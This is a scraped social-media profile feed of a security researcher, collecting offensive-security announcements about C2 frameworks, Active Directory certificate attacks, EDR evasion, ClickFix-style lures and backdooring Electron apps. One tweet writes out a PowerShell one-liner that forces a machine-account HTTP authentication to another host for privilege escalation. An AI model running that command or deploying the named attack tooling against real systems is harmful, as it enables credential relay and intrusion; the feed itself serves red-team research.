Zak @_ZakSec

Hacker with a colored hat - https://t.co/JHRtKm76td z4ksec.github.io Joined July 2016

Tweets

506
Followers

2K
Following

626
Likes

2K

hashcat @hashcat

2 months ago

hashcat v7.0.0 released! After nearly 3 years of development and over 900,000 lines of code changed, this is easily the largest release we have ever had. Detailed writeup is available here: hashcat.net/forum/thread-1…

22 380 1K 76K 271

Download Image

SpecterOps @SpecterOps

2 months ago

Red teamers know the drill: endless file churning, hunting for passwords & tokens. 🔍 Meet DeepPass2, our new secret scanning tool that goes beyond structured tokens to catch those tricky free-form passwords too. Read Neeraj Gupta's blog post for more. ghst.ly/40HLNNA

3 46 154 11K 87

Graham Helton (too much for zblock) @GrahamHelton3

2 months ago

This new @SpecterOps paper fills me with so much joy

4 80 396 23K 190

Download Image

Justin Kohler @JustinKohler10

2 months ago

And here's the direct link to Ramoreik and s_lck's work: github.com/TheSleekBoyCom…

0 3 11 1K 10

Dirk-jan @_dirkjan

2 months ago

It's been almost a year since my last blog... So, here is a new one: Extending AD CS attack surface to the cloud with Intune certificates. Also includes ESC1 over Intune (in some cases). dirkjanm.io/extending-ad-c… Oh, and a new tool for SCEP: github.com/dirkjanm/scepr…

9 195 526 29K 256

S3cur3Th1sSh1t @ShitSecure

3 months ago

This is so much! 🔥🔥😎 Found two new Potato triggers just today. Not only Potato but can also be used for LPE as remote auth is done which could be relayed to LDAP without Signing enabled. Or relayed to ADCS for a certificate. github.com/warpnet/MS-RPC…

5 182 582 25K 303

5pider @C5pider

3 months ago

Introducing Havoc Professional: A Lethal Presence We’re excited to share a first look at Havoc Professional, a next-generation, highly modular Command and Control framework, and Kaine-kit our fully Position Independent Code agent engineered for stealth! infinitycurve.org/blog/introduct…

59 186 741 62K 209

@Cravaterouge.bsky.social @rouge_cravate

3 months ago

New article for those curious about what they can find in the AD Recycle Bin (Bonus: I updated bloodyAD so you can play on this😉) linkedin.com/feed/update/ur…

0 12 39 2K 14

mr.d0x @mrd0x

3 months ago

FileFix - A ClickFix Alternative mrd0x.com/filefix-clickf…

20 192 749 173K 451

Download Image

SpecterOps @SpecterOps

3 months ago

Introducing the BloodHound Query Library! 📚 @martinsohndk & @joeydreijer explore the new collection of Cypher queries designed to help BloodHound users to unlock the full potential of the BloodHound platform by creating an open query ecosystem. ghst.ly/4jTgRQQ

3 113 283 21K 152

Mayfly @M4yFly

2 years ago

Did you know you didn't need to use a potatoes exploit to going from iis apppool account to admin or system ? Simply use: powershell iwr http://192.168.56.1 -UseDefaultCredentials To get an HTTP coerce of the machine account. 👇🧵

8 223 779 78K 514

Download Image

Synacktiv @Synacktiv

5 months ago

The FastCGI library, mostly used in embedded equipment, was vulnerable for decades to an integer overflow over the IPC socket in 32-bits architecture. Check out how @ShiroPycatchown found it and exploited it for RCE! synacktiv.com/en/publication…

0 42 141 9K 52

PentHertz @PentHertz

6 months ago

🚀 RF Swift v0.6.0 is here! 🛡️ Now with host & network isolation, it's become THE essential tool for security work. No more host reinstallation, VM or burner laptop headaches! #RFSwift 📡✨ 👉 Release: github.com/PentHertz/RF-S…

0 3 5 530 0

Download Image

John Hammond @_JohnHammond

6 months ago

I Backdoored Cursor AI 😎 youtu.be/FYok3diZY78 Finally getting a chance to play with Loki C2, the super cool Node JS C2 framework for backdooring Electron applications (think Discord, Slack, too!) -- put together by the incredible @0xBoku 🔥We even got to nerd out over DMs to…

6 76 339 47K 119

Download Image

SpecterOps @SpecterOps

6 months ago

New day, new #BloodHoundBasics post! DYK that BloodHound CE now supports deep linking? This week, we released early access support that goes beyond what the old back button offered! Go back (& forward), & share your current view of the graph w/ your fellow operators today! 1/2

1 13 52 6K 11

Download Image

Bobby Cooke @0xBoku

6 months ago

As promised... this is Loki Command & Control! 🧙‍♂️🔮🪄 Thanks to @d_tranman for his work done on the project and everyone else on the team for making this release happen! github.com/boku7/Loki

29 240 706 565K 313

Panos Gkatziroulis 🦄 @netbiosX

6 months ago

Reforging Sliver: How Simple Code Edits Can Outmaneuver EDR fortbridge.co.uk/research/refor…

0 77 221 11K 131

Exegol @exegogol

6 months ago

We've been cooking 🧑‍🍳 Exegol images 3.1.6 are live 🔷 Container startup time is 50% faster (improved my-resources performance and logging) 🚀 🔷 Images are 10% lighter (removed buildtime cache, git shallow) 🪶 🔷 New tools, released Exegol history v2 module (beta 🪲), extended…

1 16 58 4K 11

Download Image

Aurélien Chalot @Defte_

7 months ago

For those interested in the browser cache smuggling attack I presented yesterday, you will find the full blogpost here sensepost.com/blog/2023/brow…. I'll update it ASAP so that it includes the entire weaponizing part as well as some clever remediations I discussed with some of you :)

5 26 121 7K 60

SpecterOps @SpecterOps

7 months ago

Happy #BloodHoundBasics day! Tired of the old 'Enable SMB signing everywhere' rec that isn't actually practical? BloodHound can help you convert that massive IT project into a doable risk mitigation effort, focused on those systems truly vulnerable to relay attacks. 🧵: 1/2